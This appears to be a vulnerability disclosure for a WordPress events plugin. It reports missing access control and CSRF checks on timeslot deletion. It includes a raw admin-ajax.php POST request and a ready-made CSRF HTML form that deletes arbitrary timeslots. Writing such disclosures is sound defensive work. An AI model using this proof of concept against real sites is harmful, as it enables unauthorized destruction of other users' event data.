The plugin does not have proper access control when deleting a timeslot, allowing any user with the edit_posts capability (contributor+) to delete arbitrary timeslot from any events. Furthermore, no CSRF check is in place as well, allowing such attack to be performed via CSRF against a logged in with such capability
The id is the ID of the timesplot to delete
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 58
Connection: close
Cookie: [author+]
action=route_url&controller=events&mptt_action=delete&id=1
Via CSRF:
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="route_url" />
<input type="hidden" name="controller" value="events" />
<input type="hidden" name="mptt_action" value="delete" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>